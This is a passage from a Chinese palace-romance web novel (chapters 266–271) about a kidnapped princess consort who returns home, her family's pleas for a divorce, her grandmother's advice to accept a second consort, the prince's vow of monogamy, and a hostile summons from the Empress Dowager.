赵旭庭原本还想反驳两句,但想到这次小花儿失踪,若不是楚御礼警觉让他们直接去江南赵彦庭最不可能去的地方,他们还真的可能想不到赵彦庭已经带着小花儿回江南了,而且还去了扬州。
其实他到现在都没有弄明白,为什么赵彦庭会把他外祖家的老宅买下来还把小花儿带到那边去住下了...
“爹,你说当年大哥为什么会那样对我,又为什么会...”
“好了,当**情就不要再提了。”赵忠沉着脸打断赵
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旭庭的话,“那些事情已经过去了,如今他人也已经**,再提也没有任何意义了。”
赵旭庭抬头看着赵忠离开的背影,眉头微蹙,脑海中是五年前发生一幕幕...
那天向来不怎么与他说话的赵彦庭忽然找他想借他的书房,还说要用一下他的笔墨,他们去了书房,然后他被敲晕绑在了书房,再次醒来的时候,他看到赵彦庭笑着站在那里一把火点燃了书房,他被浓烟呛晕了过去,再次醒来的时候,听说回家探亲的母亲与外祖一家都**身亡了。
而赵彦庭因为敲晕他还差点烧死他被他爹打了个半死直接扔出了赵家。
到如今他都还没有弄清楚,为什么赵彦庭会那样做,他自认身为赵家的嫡子,他从未对这个庶出的大哥做过任何过分的事情。
他走到窗边看着赵忠骑着马离开的背影,眼底的疑虑越发重了,难道当年还有什么事情是**的吗?
外祖家一家的死亡难道也与赵彦庭有关系吗?
可是当年赵彦庭才多大?他又怎么可能在苏州还能杀了远在扬州的人?
赵忠骑马跑出一段路后才勒了缰绳让马儿放慢脚步,他回头看了一眼悦来客栈二楼的窗户,片刻之后,他又策马朝前方快速前行。
......
姜黎婳和楚御礼原本打算直接去城南姜宅,但人还没有离开西城就被告知姜家父子已经到御王府了,夫妇两人直接回了御王府。
姜黎婳踏入前厅姜家父子两人就朝她走了过来,看到姜黎婳面色红润且眉宇之间没有忧思之色,姜淮邦这才放下心来,他拉着姜黎婳的手拍了拍,“外面的传言你不要往心里去,咱们做好自己就是。”
他说罢又看向楚御礼,然后朝着楚御礼郑重行礼,“多谢殿下把我女儿安全带回来。”
“岳父。”楚御礼伸手扶着姜淮邦的手,“婳儿是小婿的妻子,保护她是我应该做的事情。”
姜淮邦颔首,犹豫了片刻,他还是道,“我知道王爷对婳儿的看重和爱护,但我还是要说,若王爷介意婳儿被**过的事情,还请不要伤害婳儿,把她还给我们姜家,到时候我们会带着她离开京城,不再出现在京城。”
第267章 我信他
姜淮邦知道这个世道对女子的要求有多严格,也知道这个世道对女子的贞洁有多看重,寻常人家的女子若是被**之后都难以再好好地生活下去,更不要说自己女儿这等嫁给了王爷的女子。
姜淮邦虽然知道女儿是因为皇室招来的仇恨才会让女儿遭遇**之苦,但是如今女儿被绑走将近一个月,他也不敢开口让眼前这个王爷保证将来还一心一意的对待自己的女儿。
他只求这个王爷若介意女儿被绑,那就把女儿还给他,他精心呵护着长大的女儿,他以后一样可以好好地养着,不让女儿受半点委屈。
原本没觉得有什么委屈的姜黎婳在听到姜淮邦这些话之后,眼眶一下子就红了,她忍着发酸的鼻子,抬手擦了一下眼泪,看着姜淮邦,低低地喊了一声,“爹爹。”
“爹的乖女儿。”姜淮邦从未见过女儿这样委屈的模样,此时看到女儿的模样,他急得抬手用袖子去给姜黎婳擦泪,“不哭不哭,花儿觉得委屈,咱们就回家,爹爹不会让你受半分委屈的。”
姜淮邦说到这里朝着楚御礼就跪了下去,“殿下,草民知道您对婳儿的用心,但皇室规矩多且人人心思复杂,婳儿从小不爱与人接触,更不懂人心,算我求您,求您给她放妻书,让她与我回家吧。”
姜斯羽也跟着跪了下去,“求王爷放...”
“爹爹,哥哥。”姜黎婳连忙跟着跪下去扯着姜淮邦的手让他起身,“你们快起来。”
楚御礼也伸手去扶姜淮邦,“岳父多虑了,婳儿是小婿的妻子,小婿定不会让她受半点委屈的。”
姜斯羽看着不肯松口的楚御礼,他眉头微微蹙起,“王爷如今说得好听,但如今局势谁不清楚?将来殿下是要入主东宫的,身为太子难道殿下不会再娶其他妃嫔?”
他走过去一步把姜黎婳护在身后,抬眸深沉的看着楚御礼,“若将殿下必定要辜负婳儿,何不如今就放她走,不要消磨掉你们两人之间的那些美好。”
楚御礼瞧着自家娘子被岳父和舅兄拉到他们身后,他眼神控诉的朝自家娘子看了一眼,然后收回目光,对着两人道,“我知道如今我说什么对于岳父和舅兄来说可能都只是在空口承诺,所以我不会再做承诺,但我希望你们看看我接下来会怎么做,然后再给我和娘子的感情下结论,可以吗?”
姜淮邦眉头微蹙,脸上也闪过一丝犹豫。
说实话,古往今来,他从未见过哪个帝王家的孩子对身份完全不对等的岳丈如此谦恭有礼的。
他知道楚御礼对他的谦恭完全来自于对他女儿的爱慕,这是爱屋及乌。
姜斯羽还想说若等他伤害了婳儿就晚了,但是他还没来得及开口,手就被自家父亲按住了。
姜淮邦回头看向一直站在自己身后没有说半句话的姜黎婳,他低声问,“乖女儿,你的想法呢?”
姜斯羽眼睛发光的看向自己的妹妹,他知道自己的妹妹向来懂得规避风险,无论是做生意还是交朋友!她从来不会全身心地投入一段感情中去!这世上她全心全意对待的人,他可以肯定只有他这个哥哥和他们的父亲!
所以妹妹应该会让楚御礼给她自由的!
而妹妹是因为皇室才遭受这无妄之灾的,只要妹妹开口,楚御礼一定也会给妹妹放妻书,让妹妹离开的!
“我相信他。”姜黎婳的眼角还带着眼泪,但是此时她看向楚御礼的眼神是带着笑的,她与楚御礼对视,一字一句地坚定道:“我不会离开他的。”
楚御礼眼底的笑意在这一刻彻底绽开,他一步跨过父子两人站在姜黎婳身边,牵起她的手,垂眸与她对视,“娘子你放心,为夫一定让你赢,若为夫当太子,你就是唯一的太子妃。”
他若为帝,那她将会是他唯一的皇后。
世上美女千万,但他只要姜黎婳做他的妻。
姜黎婳抬眸和他相视而笑,“我相信你。”
楚御礼听着她这悦耳动听的声音,心头一动,直接一把把她拥入怀中,大声道:“我不会辜负娘子的信任的!”
“好!”姜黎婳也大声回应道。
姜淮邦:“......”
姜斯羽:“......”
忽然感觉自己好多余...
他们父子两人开始
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是为了什么才来御王府的?谁来提醒一下他们?
......
楚御礼留了姜家父子在王府用午膳,用了午膳后,楚御礼说有事要和岳父与就行了两人商议,便把两人带去了书房,姜黎婳正在院中闲得无聊,就有人来禀报说永宁伯老夫人她们来了。
姜黎婳在前院的厅堂接见了胡氏与孟雪莲还有吕静雅三辈人。
吕静雅见到姜黎婳完全把礼仪全部抛到脑后了,她提着裙子朝姜黎婳跑过来一把抱住姜黎婳,“婳姐姐,你没事,太好了。”
姜黎婳先是一怔,接着心头像是划过一股暖流,她抬手拍了拍吕静雅的后背,轻声道:“让你们担心了,真是抱歉。”
吕静雅轻轻摇头,“你不用道歉,这本来就不是你的错。”
胡氏这时候走了进来,看到姜黎婳脸上并没有半点被**之后的**感,她这才安心了,“回来就好,回来就好。”
姜黎婳松开吕静雅,朝着胡氏行了一个晚辈礼,“是婳儿让外祖母操心了。”
“只要你平安回来,外祖母就安心了。”胡氏说到这里往四周看了一眼,没看到楚御礼的身影,她眼底闪过一丝担忧,她伸手扶着姜黎婳起来,叹气道,“我可怜的孩子,你受委屈了。”
经历过这次**,今后在皇家怕是有更多的委屈要受了。
孟雪莲看姜黎婳的眼神有些愧疚,在胡氏说话的时候,她也没有主动插话与姜黎婳说话,只是静静地在一旁看着。
姜黎婳知道胡氏话里面的意思,不过她也没有过多解释,只轻声道,“婳儿没有受到任何委屈,王爷对婳儿也很好,祖母不用担忧婳儿,您照顾好自己的身子才是最重要的。”
胡氏点头,拉着姜黎婳又说了一会儿话后,她对姜黎婳道,“祖母有几句贴心话想和你说。”
孟雪莲便识趣地起身,“那儿媳带着静雅在外面等您。”
姜黎婳道:“舅母您和静雅在前厅坐,我带外祖母到花园逛逛就是。”
孟雪莲这才看向姜黎婳,她轻轻点头,“好,那你们祖孙二人慢慢聊,我与静雅在这儿等婆母。”
第268章 楚御礼:我挖你家祖坟了?
王府后院花园中,姜黎婳扶着胡氏走到人工湖的凉亭中,凉亭的湖水结了冰,冰面上还有雪,刷了红漆的凉亭在一片雪白中显得特别亮眼,姜黎婳让人在凉亭中的石凳上垫了软垫才让胡氏坐下。
胡氏瞧着姜黎婳做事有条有紊没有半点其他女子被**之后的焦躁和不安,她在心头叹了口气,拉着姜黎婳在旁边的凳子上坐下,“婳儿,你先坐。”
在石凳上坐下的姜黎婳笑着拍了拍脸色不好的胡氏,“外祖母您怎么瞧着比孙女还要焦虑呢?”
抬手抚平胡氏皱着的眉心,“您这样很容易变老的哦。”
“本来就是老太婆了。”胡氏拉着姜黎婳的手拍了拍,语重心长地看着她,“婳儿,外祖母是过来人,知道这个世道有多么不公平,也知道这世道对女子多么苛责,你身为御王妃却被人掳走,如今回来了,想来会承受多处的刁难,今日入宫皇上和皇后是不是给你脸色看了?”
姜黎婳垂眸想了想,皇帝倒是很想给她脸色看,但是被她家夫君给怼回去了,皇后倒是没有给她脸色看,反而还安抚了她好一会儿,贤妃也只对她有心疼,没有半点轻视和为难。
这样想着姜黎婳摇头,“没有。”
“我就知道...”胡氏一怔,她有些不敢相信自己耳朵听到的话,再次看向姜黎婳,“他们没有给你脸色看?”
姜黎婳摇头,“父皇只让我在王府好好休息,母后也让我放宽心,有王爷会护着我。”
胡氏张了张嘴,那些一开始准备的安抚的话,现在也派不上用场了。
好一会儿之后,她又道,“如今皇室向你展示皇恩,定然会对你宽容许多,但过了这阵子,可能等待你的就是...”她停顿了片刻,拉着姜黎婳的手,轻声道:“婳儿,外祖母不是来挑拨你和御王殿下的关系的,外祖母之所以来和你说这些是想让你放宽心,男人自古三妻四妾,一个男人一生只有一个女人的少之又少。”
姜黎婳垂眸,她看着胡氏满是皱纹和老年斑的手,眉头微微皱起,“外祖母是不是听到什么流言蜚语了?”
“京城从你失踪不久之后就开始传陛下要立御王为太子,而太后要重新为太子选太子妃,太子妃就是...”
“承恩公府大房嫡出的小姐孟若瑶。”姜黎婳抬眼与胡氏对视,“外祖母是不是想让婳儿心胸开阔一些,安心当一个太子侧妃?”
胡氏不知道是不是自己的错觉,她感觉自己在说出那句话的时候,她与外孙女之间好像就隔了一层纱,让她看不清外孙女的眼睛了。
她叹了口气,低声道:“婳儿,外祖母这么说也是为了你好,你如今刚与御王成亲半年,正是浓情蜜意的时候,王爷自然什么好听的话都会说给你听。”
她拉着姜黎婳的手,叹气,“但是婳儿,男人的爱意能维持多久?他对你的爱护又会维护多久?如今他高兴你对他有占有欲,喜欢见你与旁人抢他,他觉得你这是在意他,可是以后呢?”
胡氏怜惜地看着姜黎婳,抬手理了理她额前的碎发,“以后他若不爱你了,你这些他如今喜欢的优点全都会变成缺点,你对他的占有欲会让他觉得你小气,你与旁的女子为他争斗,他会觉得你善妒。”
“外祖母也是怕你受伤才会对你说这些掏心掏肺的话。”胡氏看着姜黎婳绝色无双的脸,眼底尽是关切,“你要在御王对你的爱意还未消磨完之前为自己将来找到后路,你主动让御王另娶太子妃的话,御王还会觉得你识大体,加之你是因为皇室才会被**,将来他成为太子,另娶太子妃,依旧会因为对你有愧疚善待你的。”
姜黎婳垂眸听着胡氏发自肺腑的话,在心头深深地叹了口气。
这就是身为封建王朝女人的悲哀。
她们最害怕的就是被夫家抛弃,即便是她这个外祖母,事事为她着想,但想的和她的父亲他们想的还是不一样。
父兄想的让她离开皇室无忧无虑过完一生。
而外祖母却觉得能留在自己的夫君身边,即便是委曲求全也未尝不可。
可她不想。
她现在不想就这样在对楚御礼感情最浓的时候,带着两人的遗憾独自离开,也不想要委曲求全,让楚御礼去娶另外一
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个女人。
她姜黎婳拿得起放得下,若楚御礼如今承诺了此生只有她姜黎婳一个妻子,将来却做不到,要另娶她人,那她姜黎婳即便是死,也不会再委曲求全的留在他身边。
见姜黎婳一直沉默着不说话,胡氏叹了口气,“婳儿,我知道你如今和御王刚成亲不到一年,让你现在就劝着他与旁人成亲让你心头难受,但如今你...”
“胡老夫人。”冰冷又低沉的男声直接打断了胡氏的话。
胡氏和姜黎婳朝凉亭外看去,这才看到楚御礼黑着一张脸站在花园中,他身后跟着脸色同样不好的姜淮邦和姜斯羽父子二人。
胡氏有些尴尬地站起身来给楚御礼行礼问安。
楚御礼黑着脸站在花园中目光沉沉地看着胡氏,冷声问,“胡老夫人,本王是挖你们胡氏和吕氏的祖坟了吗?”
胡氏面露不解,“王爷这话是何意?”
“您只需要回答本王,本王是挖了还是没有挖?”
胡氏摇头,“王爷自然不会做那种事情。”
“那您为在本王的王府中如此挑拨本王娘子和本王的关系?你让本王娶了其他女人对你有什么好处吗?”楚御礼看胡氏的眼神越发的阴冷,半点没有以前胡氏护着姜黎婳的时候,他对胡氏那种尊重,“还是说那承恩公府请您保媒了?他们给了你多少保媒费,竟然让你如此不顾颜面地亲自上门要求自己的外孙女让自己的夫君另娶她人!”
胡氏脸一红,就连呼吸都急促了几分,她瞪大眼睛看着楚御礼,“御王殿下!你这话说得未免也太难听了!”
“你让本王的娘子说服本王让本王另娶她人的事情不难看吗?”楚御礼眉头紧促,“你都不怕难看,还怕本王说话难听了?胡老夫人竟然也是这般不讲道理的?”
“你们说得好听,如今你浓情蜜意,自然什么好听的话都会说给婳儿听,将来呢?”胡氏气得一屁股坐在石凳上,狠狠地拍了几下石桌,“将来若婳儿不同意你纳妾纳妃,你是不是又要说婳儿善妒了?”
“胡老夫人是本王吗?你那么笃定本王会变成那样?”
第269章 让她舍不得
胡氏今日过来看望外孙女和外孙女说这么多也是知道外孙女的心性,以她的性格定然是眼中容不得半点沙子的,她知道这个世道对于一个和离妇来说想要生存下去有多么困难,更何况是曾经当过王妃的人,以后若真的与王爷分开了,还不知道要被别人如何编排...
说不定还会有些别有用心的人找上门欺负....
所以她抱着即便被外孙女埋怨也要说服外孙女以后当王妃,态度不要那么强硬,该服软的时候要服软,该忍一下的时候就忍一下,等将来御王登上大统,可能就苦尽甘来了。
谁知道这话才说到一半,就被御王给听了去!而且身为王妃的婳儿都不激动,他竟然气成这样!还问她是不是因为他刨了她家的祖坟所以她才来故意挑拨他们夫妻关系的?
胡氏气得双手都在颤抖,他抬手指着楚御礼,“如今你说得倒是好听,但若婳儿把你现在说的话当真了,将来你毁约了,伤心的人还不是只有婳儿!而你到时候只会嫌弃婳儿小心眼!”
“胡老夫人!”楚御礼眼神骤然变得凌厉,他抬步朝凉亭大步走来,“你当真以为本王不能对你做什么了是吗?”
姜黎婳连忙上前拦住暴怒的楚御礼,“外祖母也是为了我好才与我说这些的,再说了外祖母说了这么多,我也没有说我要听啊,你别这么激动。”
她虽然跟着师父学了这么多年的医,医术了得,但是也不想真的把胡老夫人气出个好歹来。
胡老夫人说的话虽然有些难听了,但是她的确是站在这个时代女人的角度来和自己敞开心扉说话的,就从她刚刚和楚御礼说的那几句话来,也可以看出来她是真的为自己着想,并不怕得罪王爷。
胡氏听到姜黎婳劝说楚御礼的话坐在石凳上抬头看着楚御礼冷笑,“怎么?御王殿下因为老身说了几句实话,要把老身处死吗?”
楚御礼往前走了一步,却被姜黎婳拽住,“你冷静点。”
“她都劝你重新给我娶妻了!”楚御礼垂头看着姜黎婳,眼里全是控诉,“你不说她,竟然让我冷静?我如何能冷静?”
“那你也不能生气。”姜黎婳松开楚御礼的手,也沉了脸,“外祖母之所以有这样的担忧也是因为的确有人在操持着要给你重新娶妃,你不去解决制造问题的人,却要解决为我出谋划策的人吗?”
楚御礼:“.......”
所以到最后还成了他的错了是吗?
他垂眸看了一眼自己先前被姜黎婳拽过的手腕,沉默了片刻他一把牵起姜黎婳的手,回眸看向胡氏,沉声道,“对于外界于我们夫妇的打扰,我自会解决,但是我希望站在婳儿身边的人,不要影响婳儿的心,我楚御礼只会有婳儿一个妻子,无论是以前还是将来,我说到做到。”
姜黎婳瞧着他委屈又坚定的眼神,嘴角牵起一抹浅浅的弧度,手指微曲反握住他的手。
胡氏抬眸看着夫妇两人交握在一起的手,头疼地揉了揉眉心,“罢了罢了,我也是害怕婳儿将来受伤才会与她说这些的。”
“既然这丫头不怕受伤,你的态度也如此坚定,我又何必来做这个坏人。”胡氏撑着石桌站起来,“但是御王今日我把永宁伯府的态度放在这里,若将来有一日你敢负了婳儿,我永宁伯府也不怕与你撕破脸皮。”
楚御礼脸上的冰冷倒是少了两分,“那我先替婳儿谢谢外祖母了。”
这时候站在花园中的姜淮邦笑着走了过来,“老夫人,他们年轻人的事情咱们就不要插手了,年轻人有年轻人的想法,作为婳儿的亲人,咱们能做的就是保证将来她若受到委屈了,我们能为她讨回公道,成为她坚强的后盾。”
胡氏对姜淮邦的态度就要缓和了很多,她朝姜淮邦轻轻点了点头,“有你这样的父亲在护着婳儿,老身也放心。”
这些日子以来,姜淮邦父子对姜黎婳的爱护她是一直看在眼中的,虽然他们是商贾,但是身上却没有商贾之人的半点私心,对婳儿的疼爱也是真心实意的,比起她那个亲生女儿和前女婿,他们对婳儿才是真正的疼爱。
想到这里胡氏又想到先前吕月琴来自己这边说的那些话,她深深地吸了口气,以后她就当这个外孙女她娘已经死了,和那个不孝女没有半点关系。
......
送走胡氏与和姜淮邦他们,楚御礼一下子弯腰抱起姜黎婳就往梨月居走去,姜黎婳拍了他肩膀两下,嗔骂道:“这么多人看着呢,你要做什么?”
楚御礼沉着脸不说话,只一个劲儿地往梨月居走。
到了梨月居,楚御礼直接抱着姜黎婳进了卧室把她扔在床榻上,一直很有眼力劲儿的青梅见状立刻把房间门给关上...
姜黎婳瞧着已经开始脱掉披风的楚御礼,人往床角缩了缩,人也有些紧张了,她抬眸看着楚御礼,声音有些发颤,“大白天的你要做什么?你可不要乱来啊!不然我会生气的!”
“娘子以为我要做什么?”楚御礼眼中带笑,双手撑着床榻,促狭地看着她。
姜黎婳意识到自己可能想歪了,她脸一红,有些气急败坏的瞪他,“那你说你把我扔在床榻上要做什么?”
“娘子在想什么,为夫就可以做什么。”楚御礼伸手拉起她的手扯开自己的衣襟,眉梢微挑,声音带着一丝蛊惑,“娘子,你在想什么?告诉为夫。”
姜黎婳只觉得自己的指尖发烫,她缩回自己的手,声音有些颤抖,“你不要乱来,不然我真的会被按上一个祸国殃民的称号了。”
楚御礼轻笑出声,接着他手上一用力把姜黎婳往自己怀中一扯,人也顺势在床边坐下,姜黎婳就那么稳稳地坐在了他的腿上靠在她怀中,他伸手把玩着她的青丝,语气魅惑,“现在明明是为夫在蛊惑娘子,娘子可不要妄自菲薄。”
他灼热的呼吸因为靠她靠得太近全部都打在姜黎婳的脸上。
姜黎婳脖子也瞬间变得通红,身上甚至还起了细细的疙瘩,她伸手抵着楚御礼的胸膛,“你到底要做什么?”
“我在勾引娘子,娘子真的看不出来?”楚御礼说着在她脖子上落下一吻,沙哑的声音在她耳边低喃,“为夫害怕娘子经不起旁人挑拨真的想要把为夫让给旁人,所以只能尽心尽力地勾引和伺候娘子,让娘子从此沉沦,以后再也舍不得把我让给旁人。”
第270章 姑爷不行啊
姜黎婳整颗心随着他的话颤了颤,人也不自觉地往他身边靠过去,楚御礼趁机解了她的披风随手扔在床榻前,哑着嗓音问,“娘子,你愿意给为夫这个机会吗?”
姜黎婳轻轻推了推他,她耳边现在不仅能听到楚御礼低沉暗哑又带着一丝性感的嗓音,外面婢女们的脚步声,低语声还有做事情发出的碰撞声也无限在耳边放大,加上房间中又因为白日的缘故很亮,这让她有一种的当着那些婢女的面与楚御礼亲热一样...
“现在是白天,你就不能等到晚上吗?”姜黎婳就连声音都变得颤抖了起来,她是真的不知道怎么好的事情就发展成这样了。
但是她现在也无心思考了。
楚御礼拉着她的手放在自己身上,声音沙哑,“等不到了。”
姜黎婳触碰到他,手一缩,脸也一下就羞红了,“楚御礼!你耍流氓啊?”
“你我夫妇,我情之所至,怎能叫耍流氓呢?”楚御礼把她轻轻放在床榻上贴着她,低声道,“再说了咱们又不是没有白日...唔...”
亲了亲她捂着自己嘴唇的手,楚御礼笑着拉开她的手,眼底有些发红,“娘子?”
姜黎婳认命的别开头闭上眼睛,“你轻点,别太狠了。”
她是真的很害怕大白天的自己发出那种羞耻的声音,不然她是真的没脸再见知夏她们几个了。
楚御礼笑着在她额头上亲了亲,然后撑着身子站起来走到窗边把窗户推开让冷风吹了进来,这才回眸看着还有些不明所以的姜黎婳,含笑道,“为夫还有事要处理,接下来的事情我们晚上再继续。”
姜黎婳坐在床边看着他,“你确定要这样出去?”
楚御礼垂眸看了自己一眼,他尴尬地咳嗽了一声,取过一旁的披风给自己披上,抬眸看向姜黎婳,“白天放过你,晚上加倍。”
说罢大步离开。
姜黎婳瞧着楚御礼离开的背影,心头狠狠地舒了口气,这时候青梅端着一盘点心从外面走了进来,她一步三回头的确定自家姑爷的确已经离开了,然后才看向姜黎婳,低声道:“小姐,咱们姑爷这么不经用啊?”
姜黎婳一愣,眼底闪过一丝不解。
青梅轻轻摇头小声呢喃,“原来王爷中看不中用啊。”
姜黎婳一下子就悟了小丫头嘴里面那些话的意思,她站起来拍了青梅一下,低声道:“你胡思乱想什么!我们先前什么都没做!”
青梅明显不信,但是看到自家小姐穿得好好的衣裳,她信了,接着点头,“原来如此,我还以为咱们姑爷不...”
“小丫头。”姜黎婳敲了她的头一下,打断了她的话,低声喝道:“不要命了?敢议论王爷?”
青梅连忙捂嘴,她还真的差点忘了自家现在身在王府,而她们的姑爷是王爷,不是普通的男人!
“小姐,奴婢知错了!”青梅扑通一声跪在地上,可怜巴巴地抬头望着姜黎婳,“您可不要告诉王爷啊!”
若往王爷这个姑爷知道自己说他中看不中用的话,不知道自己会不会被扒皮...
不行啊,她还没有娶个美男夫君回来呢,她还不能死!
她一把抱住姜黎婳的大腿,“小姐!求您了!奴婢知道错了。”
“现在知道害怕了?”姜黎婳睨着抱住自己小腿的青梅,眉梢微挑,“以后还要不要乱说话了?”
青梅使劲甩头,“奴婢以后一定谨言慎行,绝对不乱说话了。”
这时候知夏和铃铛正好进来,看到小丫头跪在地上抱着姜黎婳的腿不撒手,两人眉梢一挑,知夏笑着道,“青梅又口无遮拦了吗?”
青梅叹气,一脸郁闷地看向知夏,“知夏姐姐你怎么知道的?”
“当初老爷不让你跟着咱们与小姐一同入京,不就是害怕你跟在小姐身边回到小姐生母他们身边不会说话,得罪人吗?”铃铛给姜黎婳剥橘子,“你抱着小姐的腿求饶这种事情你在江南做了多少次,你自己忘了吗?”
青梅撇嘴,“我知道错了。”
铃铛把剥好的橘子递给姜黎婳,然后蹲下扒拉开青梅的手,扶着姜黎婳去椅子上坐下,笑着道:“王妃,这丫头若不好好罚一罚将来定会因为这张嘴丢了这条命,今儿个你就让她好好跪着长长记性,省得将来什么时候因为自己这张嘴丢了性命都不知道。”
知夏点头,把一个护膝递给青梅,“昨儿个见你和王妃一同回来连夜为你赶制的加厚护膝,戴着再跪,免得伤了膝盖。”
青梅感动地接过来,“还是知夏姐姐你们对我最好了,我这就出去门外跪着,让冷风给我清醒清醒脑子,让自己好好长长记性。”
姜黎婳听着三个婢女你一言我一语,瞬间觉得像是回到了江南的时候,只是这时候少了一个出来训斥她们胡闹的人。
没了训斥她们胡闹的人,姜黎婳就由着她们胡闹,“脑子清醒了,知道不乱说话了就自己起来,天气太冷了,别把自己冻着凉了。”
青梅再次感动,她一脸动容地抬眸看向自家小姐,“小姐奴婢这次一定好好醒醒脑,在心头记住什么该说什么不该说!”
姜黎婳轻笑,“知道了。”
青梅把知夏特制加厚版呼吸绑在膝盖上走到门口朝着院门的方向就跪了下去,刚跪下去没一会儿,被楚御礼吩咐回来取东西的昭临正好从院外经过,看到衣着单薄的小婢女面无表情的跪在门口,而其他主仆三人却在屋中有说有笑地吃橘子。
昭临脚步一顿,眉头紧紧地皱了起来,那个小婢女做了什么错事,王妃竟然让她这么冷的天气跪在门口?
王妃以前可没有这样对待过其他婢女!
难道就因为这小婢女不受宠?
既然不待见这个小婢女,为什么还要把小婢女带回来?
想到这里昭临眉头皱得更厉害了,他想走进去,但是想到自己还有事情要做,又只能忍住脚步,朝书房的方向走去。
一刻钟后。
青梅瑟瑟发抖的抱着自己的手臂站起来跑进屋,“小姐!我...感觉我...阿嚏!”
“你感觉你更不清醒了。”姜黎婳笑着嗔了她一眼,让她在自己对面坐下把手腕伸出来,给她诊脉后,姜黎婳挑眉,“看来我不在江南这段时间你懈怠了,这点风寒都抵不住了。”
青梅挠头,“这不是以为您以后都不回去了,所以就...”
知夏这时候取了笔墨过来,姜黎婳写了药方,“让知夏带你去抓药,别把自己走丢了。”
“我自己去,我认得字,我...”
“你还是别去了,我帮你去抓。”铃铛一把夺过她手中的药方,“你现在回去榻上躺着好好地反思自己,可别把病气过给小姐了。”
第271章 被太后叫进宫刁难
青梅知道铃铛这是在关心自己,她感动的一把抱住铃铛,嗷嗷直哭,“铃铛姐姐,我就知道你对我最好了。”
铃铛扒拉着死死把自己抱着的青梅,一脸嫌弃,“你离我远点啊,别一会儿把病气过给我了,我还要伺候小姐呢!”
青梅不管不顾地在铃铛身上蹭了蹭,“不会的不会的,我这身子好着呢,一会儿喝点姜汤准能好,我觉得都不用去抓药。”
“预防一下总是好的。”姜黎婳被几个婢女吵得头疼,“你们都下去吧,我想休息一会儿。”
三个婢女这才不闹了,知夏去给姜黎婳铺装,铃铛拖着青梅让她回去休息,自己出去给她抓药。
姜黎婳躺下不久睡得迷迷糊糊的,人还有些不清醒就被知夏唤醒了,姜黎婳揉着眉心睁开眼,“怎么了?”
知夏脸色不大好,语气中也带了一丝焦急,“慈宁宫中来人了,说太后让您入宫去慈宁宫一趟。”
姜黎婳翻身做起来,“慈宁宫?”
自己昨天才回京,今天进宫也没有去慈宁宫自找没趣,太后这是主动过来找麻烦来了?
知夏点头,转身去给姜黎婳取外衫和小袄,“听那嬷嬷的话,好像太后还怪罪您不懂规矩,说您去了凤仪宫给皇后娘娘请安,却没有去慈宁宫给太后娘娘请安,总感觉像是在兴师问罪。”
“兴师问罪也要早些来兴师问罪。”姜黎婳由着知夏伺候自己穿衣裳,然后让知夏重新给自己取一件披风,“白色那件,不穿红色的了。”
知夏应声去重新给姜黎婳取来白色的披风,“想来慈宁宫应该是盯着咱们王府的动向的,知道王爷出府了,所以挑着这个时间来了。”
姜黎婳笑着看了知夏一眼,“那你陪我入宫吧。”
知夏颔首,伺候姜黎婳穿好披风后,有些不放心地蹙眉,“不行,奴婢还是去找人给王爷传个信。”
“去吧。”姜黎婳穿好衣裳,整理了一下发髻,这才慢条斯理往梨月居院外走。
前厅中,慈宁宫的嬷嬷早已经等得不耐烦了,看到姜黎婳姗姗来迟,她脸色不好地给姜黎婳福了福身子,“御王妃真是好大的架子,奴婢来了这么半天了您才起来。”
“嬷嬷来得不巧,本王妃正在午休,这休息卸了朱钗,起身总要重新拾掇一番,不然岂不是对太后的不尊重?”姜黎婳轻轻扶了一下头上的朱钗,眉梢微挑,“走吧。”
那嬷嬷深深地看了姜黎婳一眼,大步往御王府外面走。
这御王妃还真是一点自知之明都没有!明明都是一个被绑架走差点和别人成亲的残花败柳了,如今竟敢还敢这么嚣张!太后娘娘想要见她,她竟然还敢拿乔耽搁?
简直太把自己当一回事了!
一会儿到了慈宁宫,太后娘娘自会收拾她!
三刻钟后。
慈宁宫。
姜黎婳与楚御礼成亲以来是第一次来慈宁宫,慈宁宫很大很宽,但是布置得很简单,不过姜黎婳经营了墨宝斋这么多年,对于那些贵重物品一眼还是能认出来的,这太后宫中随便一个摆件都价值连城,那随意摆在床前的屏风更是稀罕物。
如今虽然开春了,但是太后宫中的地龙还一直烧着,姜黎婳走进来就能感觉到身上被一股子暖意席卷,不着痕迹地把慈宁宫打量完,姜黎婳收回目光走到太后面前,跪下去给太后行礼,“妾身参加太后娘娘。”
坐在主位上的太后沉着脸打量着跪在地上的姜黎婳,没有出声喊她起身,好一会儿一个温柔的女声才提醒太后,“姑祖母,御王妃还跪着呢。”
太后嗯了一声,对姜黎婳道:“起来吧。”
姜黎婳应声起来,这把目光落在那个说话的人身上,容貌柔美,气质婉约,不是那种一眼看过去就是大美人类型的,却也是一个不可多得的美人,这就是太后给楚御礼选的太子妃?
孟若瑶这时候也抬眸看向姜黎婳,朝姜黎婳露出一个温柔的笑意,“若瑶见过御王妃。”
“若瑶小姐免礼。”姜黎婳轻声道。
孟若瑶便也没有真的给姜黎婳行礼,而是顺势在太后身边又亲昵的坐了下去,太后目光冷冷地看着姜黎婳,沉声道,“哀家还当哀家这慈宁宫是什么豺狼虎穴呢,御王妃入宫给皇帝和皇后请安,竟然都不过来给哀家这个老太婆请安,今儿个是不是哀家不让身边的人去请你,你是不是都不愿意来哀家这慈宁宫?”
太后说到这里端着茶杯抿了口茶,然后重重的把茶杯放在手边的矮几上,“还是说你瞧不上哀家这慈宁宫?”
姜黎婳听着一开口就是兴师问罪的话在心头叹了口气,然后默默地在地上跪下,“是妾身思虑不周,还请太后娘娘恕罪。”
今天太后单独找她进慈宁宫,就是要找她茬儿的,她不管认不认错,在太后这里都是错的,反正最后都讨不到好,还不如省省力气,免得浪费口舌。
太后瞧着这么识趣的姜黎婳眉头皱得更厉害了,她抬手让姜黎婳起来,“行了,起来吧,毕竟在外面受了苦,哀家若因为你不懂规矩就苛责你,倒显得哀家不通情达理了。”
这话里面的嘲讽姜黎婳是听得一清二楚,她抬眸看了一眼‘通情达理’的太后,站起身来,语气平静,“多谢太后娘娘体恤。”
太后瞧着简直油盐不进的姜黎婳,脸色更差了,她眉头一皱,冷声道,“瞧瞧你穿的什么衣裳!不知道的还以为哀家这慈宁宫出了什么事情,让你来奔丧了!”
姜黎婳垂眸不说话。
她想若是今天她穿一身红进这慈宁宫的话,这太后肯定又会说,“你被绑架是什么体面的事情吗?竟然还敢穿这么招摇的颜色!我看就是你平日里不知收敛,才会被人绑架!”
想到这里,姜黎婳忽然有点想念几个月前那个慈祥和蔼的老太太了。
当时的老太太明明还是帮他们教训楚明暄的好老太太,现在怎么就变了呢?
所以在利益面前,亲情什么都不值一提吗?
